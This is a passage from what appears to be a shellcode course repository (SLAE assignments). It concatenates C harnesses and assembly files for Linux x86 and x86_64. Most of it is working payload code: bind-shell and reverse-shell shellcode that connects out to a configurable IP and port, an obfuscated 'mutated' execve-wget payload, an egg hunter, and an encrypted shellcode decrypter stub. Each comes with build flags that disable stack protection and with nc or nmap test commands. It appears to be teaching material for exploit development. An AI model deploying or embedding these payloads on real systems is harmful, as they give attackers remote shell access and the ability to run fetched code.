63 | 64 | __asm__ ("movl $0xffffffff, %eax\n\t" 65 | "movl %eax, %ebx\n\t" 66 | "movl %eax, %ecx\n\t" 67 | "movl %eax, %edx\n\t" 68 | "movl %eax, %esi\n\t" 69 | "movl %eax, %edi\n\t" 70 | "movl %eax, %ebp\n\t" 71 | 72 | // Calling the shellcode 73 | "call shellcode"); 74 | 75 | } 76 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Shell Bind TCP Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | tiny_shell_bind_tcp_shellcode 28 | 29 | * 73 bytes 30 | * null-free if the port is 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_shellcode.c -o tiny_shell_bind_tcp_shellcode 34 | 35 | Testing 36 | # ./tiny_shell_bind_tcp_shellcode 37 | # nc 127.0.0.1 11111 38 | 39 | */ 40 | 41 | 42 | #include 43 | #include 44 | 45 | unsigned char code[] = \ 46 | 47 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" 48 | "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68" 49 | "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1" 50 | "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd" 51 | "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f" 52 | "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f" 53 | "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" 54 | "\x41\xcd\x80"; 55 | 56 | main () 57 | { 58 | 59 | // When the Port contains null bytes, printf will show a wrong shellcode length. 60 | 61 | printf("Shellcode Length: %d\n", strlen(code)); 62 | 63 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 64 | 65 | __asm__ ("movl $0xffffffff, %eax\n\t" 66 | "movl %eax, %ebx\n\t" 67 | "movl %eax, %ecx\n\t" 68 | "movl %eax, %edx\n\t" 69 | "movl %eax, %esi\n\t" 70 | "movl %eax, %edi\n\t" 71 | "movl %eax, %ebp\n\t" 72 | 73 | // Setting the port 74 | "movw $0x672b, (code+20)\n\t" 75 | 76 | // Calling the shellcode 77 | "call code"); 78 | 79 | } 80 | -------------------------------------------------------------------------------- /1st.assignment/shell_bind_tcp.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Bind TCP - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | shell_bind_tcp 27 | 28 | * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT) 29 | 30 | 31 | # gcc -m32 shell_bind_tcp.c -o shell_bind_tcp 32 | # ./shell_bind_tcp 33 | 34 | Testing 35 | # nc 127.0.0.1 11111 36 | 37 | */ 38 | 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | int main() 46 | { 47 | 48 | int resultfd, sockfd; 49 | int port = 11111; 50 | struct sockaddr_in my_addr; 51 | 52 | // syscall 102 53 | // int socketcall(int call, unsigned long *args); 54 | 55 | // sycall socketcall (sys_socket 1) 56 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 57 | 58 | // syscall socketcall (sys_setsockopt 14) 59 | int one = 1; 60 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 61 | 62 | // set struct values 63 | my_addr.sin_family = AF_INET; // 2 64 | my_addr.sin_port = htons(port); // port number 65 | my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP 66 | 67 | // syscall socketcall (sys_bind 2) 68 | bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr)); 69 | 70 | // syscall socketcall (sys_listen 4) 71 | listen(sockfd, 0); 72 | 73 | // syscall socketcall (sys_accept 5) 74 | resultfd = accept(sockfd, NULL, NULL); 75 | 76 | // syscall 63 77 | dup2(resultfd, 2); 78 | dup2(resultfd, 1); 79 | dup2(resultfd, 0); 80 | 81 | // syscall 11 82 | execve("/bin/sh", NULL, NULL); 83 | 84 | return 0; 85 | } 86 | -------------------------------------------------------------------------------- /improvements/tiny_shell_reverse_tcp_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Shell Reverse TCP Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | tiny_shell_reverse_tcp_shellcode 28 | 29 | * 67 bytes 30 | * null-free if the IP and port are 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode 34 | 35 | Testing 36 | # nc -l 127.1.1.1 11111 37 | # ./tiny_shell_reverse_tcp_shellcode 38 | 39 | */ 40 | 41 | 42 | #include 43 | #include 44 | 45 | unsigned char code[] = \ 46 | 47 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" 48 | "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd" 49 | "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01" 50 | "\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1" 51 | "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b" 52 | "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" 53 | "\x6e\x89\xe3\x31\xc9\xcd\x80"; 54 | 55 | main () 56 | { 57 | 58 | // When the Port contains null bytes, printf will show a wrong shellcode length. 59 | 60 | printf("Shellcode Length: %d\n", strlen(code)); 61 | 62 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 63 | 64 | __asm__ ("movl $0xffffffff, %eax\n\t" 65 | "movl %eax, %ebx\n\t" 66 | "movl %eax, %ecx\n\t" 67 | "movl %eax, %edx\n\t" 68 | "movl %eax, %esi\n\t" 69 | "movl %eax, %edi\n\t" 70 | "movl %eax, %ebp\n\t" 71 | 72 | // Setting the IP 73 | "movl $0x0101017f, (code+27)\n\t" 74 | 75 | // Setting the port 76 | "movw $0x672b, (code+33)\n\t" 77 | 78 | // Calling the shellcode 79 | "call code"); 80 | 81 | } 82 | -------------------------------------------------------------------------------- /2nd.assignment/shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Reverse TCP Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | shell_reverse_tcp_shellcode 27 | 28 | * 72 bytes 29 | * null-bytes free if the port and address are 30 | * the ip address and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port) 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode 34 | # ./shellcode 35 | 36 | Testing 37 | # nc -l 127.1.1.1 55555 38 | # ./shellcode 39 | 40 | */ 41 | 42 | #include 43 | #include 44 | 45 | unsigned char code[] = \ 46 | 47 | "\x68" 48 | "\x7f\x01\x01\x01" // <- IP Number "127.1.1.1" 49 | "\x5e\x66\x68" 50 | "\xd9\x03" // <- Port Number "55555" 51 | "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" 52 | "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79" 53 | "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a" 54 | "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f" 55 | "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" 56 | "\xeb\xce"; 57 | 58 | main () 59 | { 60 | 61 | // When the IP contains null-bytes, printf will show a wrong shellcode length. 62 | 63 | printf("Shellcode Length: %d\n", strlen(code)); 64 | 65 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 66 | 67 | __asm__ ("movl $0xffffffff, %eax\n\t" 68 | "movl %eax, %ebx\n\t" 69 | "movl %eax, %ecx\n\t" 70 | "movl %eax, %edx\n\t" 71 | "movl %eax, %esi\n\t" 72 | "movl %eax, %edi\n\t" 73 | "movl %eax, %ebp"); 74 | 75 | int (*ret)() = (int(*)())code; 76 | 77 | ret(); 78 | 79 | } 80 | -------------------------------------------------------------------------------- /improvements/tiny_shell_bind_tcp_random_port_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Tiny Shell Bind TCP Random Port Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | tiny_shell_bind_tcp_random_port_shellcode 28 | 29 | * 57 bytes 30 | * null-free 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_random_port_shellcode.c -o tiny_shell_bind_tcp_random_port_shellcode 34 | 35 | Testing 36 | # ./tiny_shell_bind_tcp_random_port_shellcode 37 | # netstat -anp | grep shell 38 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 39 | # nc 127.0.0.1 port 40 | 41 | */ 42 | 43 | 44 | #include 45 | #include 46 | 47 | unsigned char code[] = \ 48 | 49 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" 50 | "\x02\x89\xe1\xcd\x80\x52\x50\x89\xe1\xb0" 51 | "\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80" 52 | "\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8" 53 | "\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62" 54 | "\x69\x6e\x89\xe3\x41\xcd\x80"; 55 | 56 | main () 57 | { 58 | 59 | // When contains null bytes, printf will show a wrong shellcode length. 60 | 61 | printf("Shellcode Length: %d\n", strlen(code)); 62 | 63 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 64 | 65 | __asm__ ("movl $0xffffffff, %eax\n\t" 66 | "movl %eax, %ebx\n\t" 67 | "movl %eax, %ecx\n\t" 68 | "movl %eax, %edx\n\t" 69 | "movl %eax, %esi\n\t" 70 | "movl %eax, %edi\n\t" 71 | "movl %eax, %ebp\n\t" 72 | 73 | // Calling the shellcode 74 | "call code"); 75 | 76 | } 77 | -------------------------------------------------------------------------------- /6th.assignment/mutated_execve_wget.asm: -------------------------------------------------------------------------------- 1 | ; Mutated Execve Wget - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; mutated_execve_wget 22 | ; 23 | ; * 96 bytes 24 | ; * null-free 25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 26 | ; 27 | ; 28 | ; # nasm -f elf32 mutated_execve_wget.asm 29 | ; # ld -m elf_i386 mutated_execve_wget.o -o mutated_execve_wget 30 | ; # for i in $(objdump -d mutated_execve_wget |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo 31 | ; 32 | ; Testing 33 | ; # ./mutated_execve_wget 34 | 35 | 36 | global _start 37 | 38 | section .text 39 | 40 | _start: 41 | ; int execve(const char *path, char *const argv[], char *const envp[]); 42 | ; execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0) 43 | 44 | jmp $+3 45 | db 0xe8 46 | sub ebx, ebx 47 | jz $+3 48 | db 0x83 49 | mul ebx 50 | mov ebp, -11 51 | 52 | 53 | jmp $+3 54 | db 0xe8 55 | push 0x72456541 56 | sub esi, esi 57 | jz $+3 58 | db 0x83 59 | pop esi 60 | push esi 61 | xor esi, 0x3e1f4a25 62 | push esi 63 | 64 | jmp $+3 65 | db 0x33 66 | push 0x672e7369 67 | mov [esp+12], eax 68 | mov ecx, esp 69 | 70 | 71 | ; /usr/bin/wget 72 | 73 | push 0x74 74 | jmp $+3 75 | db 0xe3 76 | push 0x6567772f 77 | jmp $+3 78 | db 0x83 79 | push 0x6e69622f 80 | jmp $+3 81 | db 0x33 82 | push 0x7273752f 83 | lea ebx, [esp] 84 | 85 | jmp $+3 86 | db 0x83 87 | push eax 88 | push ecx ; argv address 89 | push ebx ; file name address 90 | mov ecx, esp ; pointer to the file name and argv 91 | 92 | neg ebp 93 | 94 | xchg eax, ebp 95 | jmp $+3 96 | db 0x83 97 | int 0x80 98 | -------------------------------------------------------------------------------- /6th.assignment/mutated_execve_wget_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Mutated Execve Wget Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | mutated_execve_wget_shellcode 27 | 28 | * 96 bytes 29 | * null-free 30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic) 31 | 32 | 33 | # gcc -m32 -fno-stack-protector -z execstack mutated_execve_wget_shellcode.c -o mutated_execve_wget_shellcode 34 | 35 | Testing 36 | # ./mutated_execve_wget_shellcode 37 | 38 | */ 39 | 40 | 41 | #include 42 | #include 43 | 44 | unsigned char shellcode[] = \ 45 | 46 | "\xeb\x01\xe8\x29\xdb\x74\x01\x83\xf7\xe3" 47 | "\xbd\xf5\xff\xff\xff\xeb\x01\xe8\x68\x41" 48 | "\x65\x45\x72\x29\xf6\x74\x01\x83\x5e\x56" 49 | "\x81\xf6\x25\x4a\x1f\x3e\x56\xeb\x01\x33" 50 | "\x68\x69\x73\x2e\x67\x89\x44\x24\x0c\x89" 51 | "\xe1\x6a\x74\xeb\x01\xe3\x68\x2f\x77\x67" 52 | "\x65\xeb\x01\x83\x68\x2f\x62\x69\x6e\xeb" 53 | "\x01\x33\x68\x2f\x75\x73\x72\x8d\x1c\x24" 54 | "\xeb\x01\x83\x50\x51\x53\x89\xe1\xf7\xdd" 55 | "\x95\xeb\x01\x83\xcd\x80"; 56 | 57 | 58 | main () 59 | { 60 | 61 | // When contains null bytes, printf will show a wrong shellcode length. 62 | 63 | printf("Shellcode Length: %d\n", strlen(shellcode)); 64 | 65 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 66 | 67 | __asm__ ("movl $0xffffffff, %eax\n\t" 68 | "movl %eax, %ebx\n\t" 69 | "movl %eax, %ecx\n\t" 70 | "movl %eax, %edx\n\t" 71 | "movl %eax, %esi\n\t" 72 | "movl %eax, %edi\n\t" 73 | "movl %eax, %ebp\n\t" 74 | 75 | // Calling the shellcode 76 | "call shellcode"); 77 | 78 | } 79 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_getpc_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Bind TCP (GetPC/Call/Ret Method) Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | shell_bind_tcp_getpc_shellcode 28 | 29 | * 89 bytes 30 | * null-bytes free 31 | * uses GetPC method for fun and profit 32 | 33 | 34 | # gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_getpc_shellcode.c -o shell_bind_tcp_getpc_shellcode 35 | # ./shell_bind_tcp_getpc_shellcode 36 | 37 | Testing 38 | # nc 127.0.0.1 11111 39 | 40 | */ 41 | 42 | 43 | #include 44 | #include 45 | 46 | unsigned char code[] = \ 47 | 48 | "\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0" 49 | "\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b" 50 | "\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51" 51 | "\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52" 52 | "\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9" 53 | "\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" 54 | "\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89" 55 | "\xe1\xcd\x80\x57\xc3"; 56 | 57 | main () 58 | { 59 | 60 | // When the IP contains null-bytes, printf will show a wrong shellcode length. 61 | 62 | printf("Shellcode Length: %d\n", strlen(code)); 63 | 64 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 65 | 66 | __asm__ ("movl $0xffffffff, %eax\n\t" 67 | "movl %eax, %ebx\n\t" 68 | "movl %eax, %ecx\n\t" 69 | "movl %eax, %edx\n\t" 70 | "movl %eax, %esi\n\t" 71 | "movl %eax, %edi\n\t" 72 | "movl %eax, %ebp\n\t" 73 | 74 | 75 | // Setting the port number (byte reverse order) and Calling the shellcode 76 | 77 | "movw $0x672b, (code+27)\n\t" 78 | "call code"); 79 | 80 | } 81 | -------------------------------------------------------------------------------- /3rd.assignment/egg_hunter.asm: -------------------------------------------------------------------------------- 1 | ; Egg Hunter - Assembly Language - Linux/x86 2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits 3 | ; 4 | ; http://hackingbits.com 5 | ; geyslan@gmail.com 6 | ; 7 | ; This program is free software: you can redistribute it and/or modify 8 | ; it under the terms of the GNU General Public License as published by 9 | ; the Free Software Foundation, either version 3 of the License, or 10 | ; (at your option) any later version. 11 | ; 12 | ; This program is distributed in the hope that it will be useful, 13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | ; GNU General Public License for more details. 16 | ; 17 | ; You should have received a copy of the GNU General Public License 18 | ; along with this program. If not, see . 19 | 20 | 21 | ; egg_hunter 22 | ; 23 | ; * 38 bytes 24 | ; * null-free if the signature is 25 | ; 26 | ; 27 | ; # nasm -f elf32 egg_hunter.asm 28 | ; # ld -m elf_i386 egg_hunter.o -o egg_hunter 29 | ; 30 | ; Testing 31 | ; # ./egg_hunter 32 | 33 | 34 | global _start 35 | 36 | section .text 37 | 38 | _start: 39 | ; setting the registers 40 | cld ; clear the direction flag (DF) to use scasd correctly 41 | xor ecx, ecx 42 | mul ecx 43 | alignpage: 44 | ; align page 45 | or dx, 0xfff ; is the same as "add dx, 4095" (PAGE_SIZE) 46 | alignbyte: 47 | inc edx ; next memory offset 48 | 49 | ; Accessing the memory offset 50 | ; int access(const char *pathname, int mode); 51 | ; access(memoryaddress, 0) 52 | 53 | push 33 ; __NR_access 33 54 | pop eax 55 | 56 | lea ebx, [edx + 4] ; alignment to validate the last four bytes of the signature 57 | 58 | ; ecx already contains 0 (F_OK) 59 | 60 | int 0x80 ; kernel interruption 61 | 62 | 63 | ; verifies if memory is not readable (bad address = EFAULT = 0xf2 = -14) 64 | ; as the offset is not from a path name, access will never result 0, so we have to compare the error result with 0xf2 65 | cmp al, 0xf2 66 | 67 | ; if is not, loop 68 | jz alignpage 69 | 70 | ; compares the signature and increments 4 bytes in edi 71 | mov eax, 0x50905090 ; byte reverse order 72 | mov edi, edx 73 | scasd 74 | 75 | ; if is not equal, loop 76 | jnz alignbyte 77 | 78 | ; if is equal, compares the last signature 4 bytes and increments 4 bytes in edi again 79 | scasd 80 | 81 | ; if is not equal, loop 82 | jnz alignbyte 83 | 84 | ; if is equal, eat the egg 85 | jmp edi 86 | -------------------------------------------------------------------------------- /improvements/shell_bind_tcp_random_port_shellcode_x86_64.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Shell Bind TCP Random Port Shellcode - C Language - Linux/x86_64 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see 21 | 22 | */ 23 | 24 | 25 | /* 26 | 27 | shell_bind_tcp_random_port_shellcode_x86_64 28 | assembly source: https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm 29 | 30 | * 57 bytes 31 | * null-free 32 | 33 | 34 | # gcc -m64 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode_x86_64.c -o shell_bind_tcp_random_port_shellcode_x86_64 35 | 36 | Testing 37 | # ./shell_bind_tcp_random_port_shellcode_x86_64 38 | # netstat -anp | grep shell 39 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode) 40 | # nc 127.0.0.1 port 41 | 42 | */ 43 | 44 | 45 | #include 46 | #include 47 | 48 | unsigned char code[] = \ 49 | 50 | "\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02" 51 | "\x5f\xb0\x29\x0f\x05\x52\x5e\x50\x5f\xb0" 52 | "\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48" 53 | "\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52" 54 | "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" 55 | "\x57\x54\x5f\xb0\x3b\x0f\x05"; 56 | 57 | main () 58 | { 59 | 60 | // When contains null bytes, printf will show a wrong shellcode length. 61 | 62 | printf("Shellcode Length: %d\n", strlen(code)); 63 | 64 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 65 | 66 | __asm__ ("mov $0xffffffffffffffff, %rax\n\t" 67 | "mov %rax, %rbx\n\t" 68 | "mov %rax, %rcx\n\t" 69 | "mov %rax, %rdx\n\t" 70 | "mov %rax, %rsi\n\t" 71 | "mov %rax, %rdi\n\t" 72 | "mov %rax, %rbp\n\t" 73 | 74 | // Calling the shellcode 75 | "call code"); 76 | 77 | } 78 | -------------------------------------------------------------------------------- /7th.assignment/uzumaki_decrypter_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Uzumaki Decrypter Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | uzumaki_decrypter_shellcode 27 | 28 | * decrypter has 29 bytes (the final amount depends on the shellcode length) 29 | * it decrypts the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] ) 30 | * to encrypt the shellcode use the Uzumaki Crypter 31 | * null-free 32 | 33 | 34 | # gcc -m32 -fno-stack-protector -z execstack uzumaki_decrypter_shellcode.c -o uzumaki_decrypter_shellcode 35 | 36 | Testing 37 | # ./uzumaki_decrypter_shellcode 38 | 39 | */ 40 | 41 | 42 | #include 43 | #include 44 | 45 | unsigned char shellcode[] = \ 46 | 47 | // Shellcode Decrypter 48 | "\x29\xc9\x74\x14\x5e\xb1" 49 | "\x14" // <- shellcode length 50 | "\x46\x8b\x06\x83\xe8" 51 | "\x09" // <- ADD key 52 | "\x34" 53 | "\x9f" // <- XOR key 54 | "\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8" 55 | "\xe7\xff\xff\xff" 56 | 57 | // Crypted Shellcode 58 | "\x31\x70\xaa\x92\xd7\x2d\xce\xaf\xe1\xa8" 59 | "\xcc\x8d\xa8\xe1\xdb\x9d\xa1\x81\xfe\xba" 60 | "\xdb"; 61 | 62 | 63 | main () 64 | { 65 | 66 | // When contains null bytes, printf will show a wrong shellcode length. 67 | 68 | printf("Shellcode Length: %d\n", strlen(shellcode)); 69 | 70 | // Pollutes all registers ensuring that the shellcode runs in any circumstance. 71 | 72 | __asm__ ("movl $0xffffffff, %eax\n\t" 73 | "movl %eax, %ebx\n\t" 74 | "movl %eax, %ecx\n\t" 75 | "movl %eax, %edx\n\t" 76 | "movl %eax, %esi\n\t" 77 | "movl %eax, %edi\n\t" 78 | "movl %eax, %ebp\n\t" 79 | 80 | // Calling the shellcode 81 | "call shellcode"); 82 | 83 | } 84 | -------------------------------------------------------------------------------- /3rd.assignment/egg_hunter_shellcode.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Egg Hunter Shellcode - C Language - Linux/x86 4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits 5 | 6 | http://hackingbits.com 7 | geyslan@gmail.com 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU General Public License as published by 11 | the Free Software Foundation, either version 3 of the License, or 12 | (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program. If not, see . 21 | 22 | */ 23 | 24 | /* 25 | 26 | egg_hunter_shellcode 27 | 28 